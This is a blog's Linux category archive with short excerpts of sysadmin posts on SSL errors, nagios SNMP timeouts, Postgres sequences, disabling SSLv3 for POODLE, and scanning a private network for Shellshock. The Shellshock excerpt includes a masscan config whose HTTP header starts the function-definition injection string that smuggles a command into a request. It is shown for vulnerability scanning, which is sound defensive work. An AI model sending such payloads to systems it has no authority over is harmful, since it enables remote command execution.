Category Archives: Linux

SSL3_GET_SERVER_CERTIFICATE: certificate verify failed

Monday, a shopping cart solution that has worked for years started throwing this error when connecting to Authorize.net Could not connect to the specified payment gateway SSL certificate problem, verify that the CA cert is OK. Details: error:14090086:SSL routines: SSL3_GET_SERVER_CERTIFICATE: … Continue reading

Posted in Linux, SSL | Comments Off on SSL3_GET_SERVER_CERTIFICATE: certificate verify failed

nagios plugin check_snmp times out for certain ASNs

This is probably because you are missing some MIBS. Chances are this will fix it: sudo apt-get install snmp-mibs-downloader

Posted in nagios | Comments Off on nagios plugin check_snmp times out for certain ASNs

How to fix all sequences in postgres 9.x

— select table_name || ‘_’ || column_name || ‘_seq’, reset_sequence(table_name, column_name, table_name || ‘_’ || column_name || ‘_seq’) from information_schema.columns where column_default like ‘nextval%’; — Function: reset_sequence(text, text) — DROP FUNCTION reset_sequence(text, text); CREATE OR REPLACE FUNCTION reset_sequence(tablename text, columnname … Continue reading

Posted in Linux, postgres | Comments Off on How to fix all sequences in postgres 9.x

How to disable SSL3 in Nginx and Apache to prevent POODLE

Here is how to disable SSLv3 in apache and nginx. Just for fun, before you do it, scan your site with this tool: https://www.tinfoilsecurity.com/poodle Qualys SSL Server Test (this one is much better. tinfoilhat was the first one i found … Continue reading

Posted in Linux, nginx, SSL | Comments Off on How to disable SSL3 in Nginx and Apache to prevent POODLE

How to scan for shellshock

cd /root sudo apt-get install git gcc make libpcap-dev git clone https://github.com/robertdavidgraham/masscan cd masscan make then copied this into a file shellshock.conf range = 172.16.1.1-172.16.1.254 port = 80 banners = true http-user-agent = shellshock-scan http-header = Cookie:() { :; }; … Continue reading

Posted in Linux | Comments Off on How to scan for shellshock